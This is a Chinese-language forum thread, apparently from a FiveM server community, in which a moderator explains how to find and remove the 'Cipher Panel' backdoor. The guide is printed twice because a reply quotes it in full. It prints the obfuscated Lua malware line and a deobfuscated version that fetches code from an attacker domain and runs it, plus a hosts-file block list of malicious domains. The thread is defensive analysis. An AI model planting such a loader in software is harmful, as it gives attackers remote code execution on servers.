example
example

教程 服务器后门(密码面板)

Cata_a

论坛名人
管理成员
FiveM版主
论坛元老
高级用户
认证用户

声明​

除此文章外,本人不对清理后门提供无偿帮助。
本人不对按照本文章操作产生的后果负责。
因为造成服务器存在后门的原因是你自己,所以自己承担责任。

如何检查是否感染了这种后门(密码面板)​

使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索\x,限定.lua文件,若看到下图所示的混淆代码,那么大概率你的服务器已经被密码面板感染。注:下文所称的“后门”,均代指密码面板这一种后门。
1710751802917.png

后门的危害​

随意操作服务器上的文件、获取服务器秘钥、SQL密码、执行远程代码等。

如何清除后门​

第一步​

完全关闭FXServer,不只是在txAdmin停止服务器,而是关闭整个CMD窗口。

第二步​

将上面搜索到的代码整行删除(VSCode快捷键:Ctrl+Shift+K),注意辨别并非所有包含\x的代码都是被混淆的恶意代码,如下图所示,就是包含\x的正常代码。
1710751830275.png

第三步​

使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索PerformHttpRequest,限定.lua文件,如果看到类似下图红框标注的代码,删除它。同样的也并非所有使用PerformHttpRequest的代码都是恶意代码,此函数也经常被用在检查插件更新等目的,这需要你有一定的编程基础,相比上面的\x辨认难度更高。
1710751794893.png

第四步​

完全删除[cfx-default]文件夹内的所有文件,并从 https://github.com/citizenfx/cfx-server-data 重新下载。

第五步​

编辑C:\Windows\System32\drivers\etc\hosts文件,添加如下内容
代码:
127.0.0.1 cipher-panel.me
127.0.0.1 ciphercheats.com
127.0.0.1 keyx.club
127.0.0.1 dark-utilities.xyz
127.0.0.1 ketamin.cc
127.0.0.1 pqzskjptss.shop
127.0.0.1 admin-panel.sbs
127.0.0.1 malware-panel.io
127.0.0.1 docsfivem.com
127.0.0.1 thedreamofficeem.com
127.0.0.1 thedreamoffivem.com
127.0.0.1 rpserveur.fr
127.0.0.1 abxcgraovp.pics
127.0.0.1 sayebrouhk.com
127.0.0.1 0resmon.net
127.0.0.1 triggerserverevent.net
127.0.0.1 eszjqvpjhiou.mom

第六步​

启动服务器,并再次搜索\x,观察是否仍然存在资源被加入恶意混淆代码的情况。

为什么会感染后门​

你使用了带有恶意代码的资源,这种资源通常存在于泄露网站上。

如何防范后门​

很简单,不贪小便宜,只从可信的渠道获取资源,如Cfx论坛、Github、5mods。

工作原理​

首先你看到的这些代码都不是被加密了,只是被混淆了。
加密和混淆是有区别的,使用VSCode打开被官方Keymaster加密的文件会直接提示“此文件是二进制文件或使用了不受支持的文本编码,所以无法在文本编辑器中显示。”,如果选择仍然打开会是下面这个画风。
1710817955266.png
但是VSCode却可以直接打开被混淆的代码,因为混淆的代码只是加入了无用的垃圾代码和将变量、函数名等修改为人类无法理解的格式,但计算机并不会被影响,很多模型加密也是这种原理,即游戏引擎可以正常加载,但建模软件却无法打开。(下图所示为被混淆的代码)
1710817961558.png
在密码面板这种后门中,主要使用无空格/换行/缩进、随机变量名、UTF-8编码,来达到代码不易被人类理解,继而无法发现其目的的作用。

为什么说不易被人类理解,因为你可以通过一些方式,将它转换成为可以理解的格式,如:
  • 无空格/换行/缩进 - 安装可以格式化Lua代码的VSCode扩展
  • 随机变量名 - 全部替换为简短的变量
  • UTF-8编码 - 使用工具进行解码
通过以上这些方式你就可以将这样的代码
代码:
local YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x73\x7a\x6a\x71\x76\x70\x6a\x68\x69\x6f\x75\x2e\x6d\x6f\x6d\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x6f\x79\x62\x63\x6d", function (mtXRTzuiQfednkshHMdSwLjJURxcHnZXXtsPuChdcKkazzspzeMswNgSlONlTdnnoSVJsG, rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf) if (rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[6] or rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[5]) then return end YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[2]](YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[3]](rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf))() end)
转换成这样
lua:
PerformHttpRequest("https://eszjqvpjhiou.mom/v2_/stage3.php?to=oybcm", function(_, text)
    if (text == nil or text == "") then return end
    assert(load(text))()
end)

那么代码的作用也就很明显了,即通过访问指定网址,将其中的文本加载为代码运行。

这种后门最初的感染方式就和上面说的一样,感染之后会修改[cfx-default]中的JavaScript文件,这就是为什么删除Lua中的混淆代码,重启服务器后还会自动添加。

有人说\x6c是后门的特种码,其实不然。\x6c是经过 UTF-8 编码的十六进制结果,即字母“l”。
在后门中字母“l”仅出现在nilload中,查看参考资料你会发现这并没有包含所有的恶意代码。
清除后门最严谨的方式还是按照上文所述的步骤。

继续分析网址中和网址的网址中的代码没有意义,到这里后门的工作原理以及目的就很清晰明了了,没有在继续往下分析的必要了。如果想了解更多可以查看参考资料。

参考资料

https://github.com/ericstolly/cipher
https://github.com/XenoS-ITA/chiper-deobfuscated
https://github.com/ProjecteEndCipher/Cipher-Panel
https://github.com/exersalza/FivemCipherFinder
 
最后编辑:

Yann

站长
管理成员
GTAOS管理组
认证卖家
认证用户
本 月 名 人 榜 最 佳
高产啊!
 

BIG桃

活跃的用户
论坛元老
高级用户
认证用户
顺便说一句 不知道是不是我的问题 vscode搜索这种关键字有时候搜索不全 可以用notepad++搜索 虽然这个搜索比较慢
 

Cata_a

论坛名人
管理成员
FiveM版主
论坛元老
高级用户
认证用户
顺便说一句 不知道是不是我的问题 vscode搜索这种关键字有时候搜索不全 可以用notepad++搜索 虽然这个搜索比较慢
我知道导致这个的原因可能是VSCode版本过旧,比如Win7(Windows Server 2014)只能用老版本VSCode,就会有这个问题
 

BIG桃

活跃的用户
论坛元老
高级用户
认证用户
我知道导致这个的原因可能是VSCode版本过旧,比如Win7(Windows Server 2014)只能用老版本VSCode,就会有这个问题
我的是win10 2019的 vscode官网下载的新版 有时候也会出现这种问题
 

Cata_a

论坛名人
管理成员
FiveM版主
论坛元老
高级用户
认证用户
我的是win10 2019的 vscode官网下载的新版 有时候也会出现这种问题
那就是看看有没有被排除掉和筛选条件一类,如果没有的话我也没遇见这种情况,不知道咋办
 

BIG桃

活跃的用户
论坛元老
高级用户
认证用户
那就是看看有没有被排除掉和筛选条件一类,如果没有的话我也没遇见这种情况,不知道咋办
应该是我这边的原因 以前好好的 可能是我不知道改到啥了
 

2578225653

用户
认证用户

声明​

除此文章外,本人不对清理后门提供无偿帮助。
本人不对按照本文章操作产生的后果负责。
因为造成服务器存在后门的原因是你自己,所以自己承担责任。

如何检查是否感染了这种后门(密码面板)​

使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索\x,限定.lua文件,若看到下图所示的混淆代码,那么大概率你的服务器已经被密码面板感染。注:下文所称的“后门”,均代指密码面板这一种后门。
浏览附件1103

后门的危害​

随意操作服务器上的文件、获取服务器秘钥、SQL密码、执行远程代码等。

如何清除后门​

第一步​

完全关闭FXServer,不只是在txAdmin停止服务器,而是关闭整个CMD窗口。

第二步​

将上面搜索到的代码整行删除(VSCode快捷键:Ctrl+Shift+K),注意辨别并非所有包含\x的代码都是被混淆的恶意代码,如下图所示,就是包含\x的正常代码。
浏览附件1104

第三步​

使用VSCode打开整个服务器文件夹(包括server、resource等),在左侧的搜索面板中搜索PerformHttpRequest,限定.lua文件,如果看到类似下图红框标注的代码,删除它。同样的也并非所有使用PerformHttpRequest的代码都是恶意代码,此函数也经常被用在检查插件更新等目的,这需要你有一定的编程基础,相比上面的\x辨认难度更高。
浏览附件1102

第四步​

完全删除[cfx-default]文件夹内的所有文件,并从 https://github.com/citizenfx/cfx-server-data 重新下载。

第五步​

编辑C:\Windows\System32\drivers\etc\hosts文件,添加如下内容
代码:
127.0.0.1 cipher-panel.me
127.0.0.1 ciphercheats.com
127.0.0.1 keyx.club
127.0.0.1 dark-utilities.xyz
127.0.0.1 ketamin.cc
127.0.0.1 pqzskjptss.shop
127.0.0.1 admin-panel.sbs
127.0.0.1 malware-panel.io
127.0.0.1 docsfivem.com
127.0.0.1 thedreamofficeem.com
127.0.0.1 thedreamoffivem.com
127.0.0.1 rpserveur.fr
127.0.0.1 abxcgraovp.pics
127.0.0.1 sayebrouhk.com
127.0.0.1 0resmon.net
127.0.0.1 triggerserverevent.net
127.0.0.1 eszjqvpjhiou.mom

第六步​

启动服务器,并再次搜索\x,观察是否仍然存在资源被加入恶意混淆代码的情况。

为什么会感染后门​

你使用了带有恶意代码的资源,这种资源通常存在于泄露网站上。

如何防范后门​

很简单,不贪小便宜,只从可信的渠道获取资源,如Cfx论坛、Github、5mods。

工作原理​

首先你看到的这些代码都不是被加密了,只是被混淆了。
加密和混淆是有区别的,使用VSCode打开被官方Keymaster加密的文件会直接提示“此文件是二进制文件或使用了不受支持的文本编码,所以无法在文本编辑器中显示。”,如果选择仍然打开会是下面这个画风。
浏览附件1105
但是VSCode却可以直接打开被混淆的代码,因为混淆的代码只是加入了无用的垃圾代码和将变量、函数名等修改为人类无法理解的格式,但计算机并不会被影响,很多模型加密也是这种原理,即游戏引擎可以正常加载,但建模软件却无法打开。(下图所示为被混淆的代码)
浏览附件1106
在密码面板这种后门中,主要使用无空格/换行/缩进、随机变量名、UTF-8编码,来达到代码不易被人类理解,继而无法发现其目的的作用。

为什么说不易被人类理解,因为你可以通过一些方式,将它转换成为可以理解的格式,如:
  • 无空格/换行/缩进 - 安装可以格式化Lua代码的VSCode扩展
  • 随机变量名 - 全部替换为简短的变量
  • UTF-8编码 - 使用工具进行解码
通过以上这些方式你就可以将这样的代码
代码:
local YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x73\x7a\x6a\x71\x76\x70\x6a\x68\x69\x6f\x75\x2e\x6d\x6f\x6d\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x6f\x79\x62\x63\x6d", function (mtXRTzuiQfednkshHMdSwLjJURxcHnZXXtsPuChdcKkazzspzeMswNgSlONlTdnnoSVJsG, rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf) if (rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[6] or rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf == YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[5]) then return end YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[2]](YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[4][YUsYOhikVPtaybUPZYDYocoOfTiaiPqJGZwjcdxknLxBzymcvjBjeCDPsYUPxNkLKOSZBN[3]](rbXrqhwTHmesCXoySghEmIYTkPkPoWgQdKPBUbsUaPWIaYFhwFrWXboUQMabRpoYOawMXf))() end)
转换成这样
lua:
PerformHttpRequest("https://eszjqvpjhiou.mom/v2_/stage3.php?to=oybcm", function(_, text)
    if (text == nil or text == "") then return end
    assert(load(text))()
end)

那么代码的作用也就很明显了,即通过访问指定网址,将其中的文本加载为代码运行。

这种后门最初的感染方式就和上面说的一样,感染之后会修改[cfx-default]中的JavaScript文件,这就是为什么删除Lua中的混淆代码,重启服务器后还会自动添加。

有人说\x6c是后门的特种码,其实不然。\x6c是经过 UTF-8 编码的十六进制结果,即字母“l”。
在后门中字母“l”仅出现在nilload中,查看参考资料你会发现这并没有包含所有的恶意代码。
清除后门最严谨的方式还是按照上文所述的步骤。

继续分析网址中和网址的网址中的代码没有意义,到这里后门的工作原理以及目的就很清晰明了了,没有在继续往下分析的必要了。如果想了解更多可以查看参考资料。

参考资料

https://github.com/ericstolly/cipher
https://github.com/XenoS-ITA/chiper-deobfuscated
https://github.com/ProjecteEndCipher/Cipher-Panel
https://github.com/exersalza/FivemCipherFinder
1719544497525.png这种的是后门吗
 

Cata_a

论坛名人
管理成员
FiveM版主
论坛元老
高级用户
认证用户
应该不是,看着像机器人。
 
顶部